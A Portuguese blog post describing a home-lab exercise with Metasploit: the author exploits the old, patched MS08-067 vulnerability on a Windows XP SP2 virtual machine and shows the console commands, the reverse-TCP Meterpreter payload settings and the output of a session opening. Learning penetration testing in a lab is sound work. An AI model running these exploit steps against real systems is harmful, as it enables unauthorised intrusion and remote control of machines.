Recentemente adquiri o livro “Metasploit – The Penetration tester’s Guide”, para quem não sabe o Metasploit é uma ferramenta para profissionais da segurança da informação, com ela é possível explorar vulnerabilidades, é bem interessante, eu particularmente sempre tive curiosidade de como funciona uma invasão, exploração de vulnerabilidade etc. Para os testes com o Metasploit criei um ambiente composto por duas máquinas virtuais, o “alvo” uma máquina Windows XP Sp2 English e a máquina atacante, Debian 6, explorei uma vulnerabilidade famosa do Windows que explora o serviço “Server”, esse problema foi corrigido a algum tempo e máquinas atualizadas não correm este risco, mais informações sobre esse problema podes ser obtidas no seguinte link: http://technet.microsoft.com/en-us/security/bulletin/ms08-067
Abaixo descrevo o processo para obter acesso a máquina Windows XP Sp2 com a vulnerabilidade ms08-057.
Após abrir o console do Metasploit seleciono o exploit:
msf > use exploit/windows/smb/ms08_067_netapi
Seleciono o “Payload”
msf > set payload windows/meterpreter/reverse_tcp
Utilizando o reverse_tcp a máquina alvo que se conecta ao atacante.
Por padrão a descoberta do algo (SO) está como automático, uma boa prática é descobrir a versão do SO, você podes obter uma lista utilizando o comando show targets.
msf > set TARGET 4
4 Windows XP SP2 English (NX)
A opção NX diz que o DEP está ativado, no Windows XP Sp2 isso é ativado por padrão, o DEP é um recurso interessante que “impede” a execução de código em determinadas área de SO:
http://en.wikipedia.org/wiki/NX_bit
Especifico o host que será atacado (RHOST) e o host que é o atacante (LHOST):
msf > set RHOST 192.168.0.7
msf > set LHOST 192.168.0.18
Posso escolher uma porta para conexão com o comando set LPORT.
Basicamente as opções ficaram assim (comando show options):
Após as opções estarem definidas basta executar o comando exploit:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.18:4444
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.0.7
[*] Meterpreter session 2 opened (192.168.0.18:4444 -> 192.168.0.7:1088) at 2012-10-12 12:40:04 -0300
Se tudo estiver correto parabéns, você invadiu sua primeira máquina.
Posso obter os processos em execução na máquina algo digitando o comando ps, conforme print abaixo, e também obter um shell com o comando shell:
Basicamente é esse o processo, claro que em um ambiente de teste é fácil executar este tipo de teste, mas na "vida real" as coisas não são tão simples asssim, temos firewalls, atualizações, NAT, Antivirus, e outras coisas que podem impedir o sucesso de um ataque.